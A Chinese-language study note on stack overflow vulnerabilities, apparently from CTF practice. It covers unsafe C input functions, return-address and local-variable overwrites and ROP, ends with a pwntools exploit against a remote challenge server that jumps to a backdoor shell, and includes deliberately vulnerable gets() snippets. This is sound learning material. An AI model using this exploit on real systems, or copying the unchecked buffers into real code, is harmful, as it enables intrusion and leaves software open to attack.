栈溢出(Stack overflow)

漏洞描述

栈溢出发生在程序向栈上写入数据时,未检查输入长度,导致数据覆盖了栈上的返回地址或其他关键数据

常见栈溢出函数

输入:
gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换为’\x00’;
scanf(),格式化字符串中的%s不会检查长度;
vscanf():同上。
输出:
sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度
字符串:
strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;
strcat():同上。

利用方法

  1. 覆盖返回地址
    通过溢出覆盖函数的返回地址,跳转到恶意代码(如shellcode)或ROP链
void vulnerable(){
    char buffer[64];
    gets(buffer);//未检查输入长度
}

输入超过64字节的数据,覆盖返回地址

  1. 覆盖局部变量
    通过溢出覆盖栈上的局部变量,改变程序逻辑
void vulnerable(){
    int auth=0;
    char buffrer[64];
    gets(buffer);//未检查输入长度
    if(auth==1){
        system("/bin/sh");
    }
}

输入数据覆盖auth变量,使其值变为1

  1. ROP(Return-Oriented Programming)
  • 在DEP开启的情况下,通过覆盖返回地址跳转到已有的代码片段(gadgets),构造ROP链调用系统函数
    eg.
    使用pop rdi;retgadget设置rdi寄存器,调用system("/bin/sh")

防御机制

  • 栈保护(Stack Canary)
  • DEP(数据执行保护)
  • ASLR(地址空间布局随机化)

例题

简单溢出
检查文件

使用ida打开文件


可以看到可以使用栈溢出覆盖原来的返回地址,让其跳转到后门函数进行获取权限
可以看到后门函数地址

exp如下:

from pwn import *

io=remote("1.95.36.136",2062)
#io=process("./hahaha")
elf=ELF("./hahaha")

padding=0x30+8

system_addr=0x400596

payload=b'a'*padding+p64(system_addr)

io.sendline(payload)

io.interactive()

可得结果!!


以上只是简单总结,我会在后面的学习中慢慢完善内容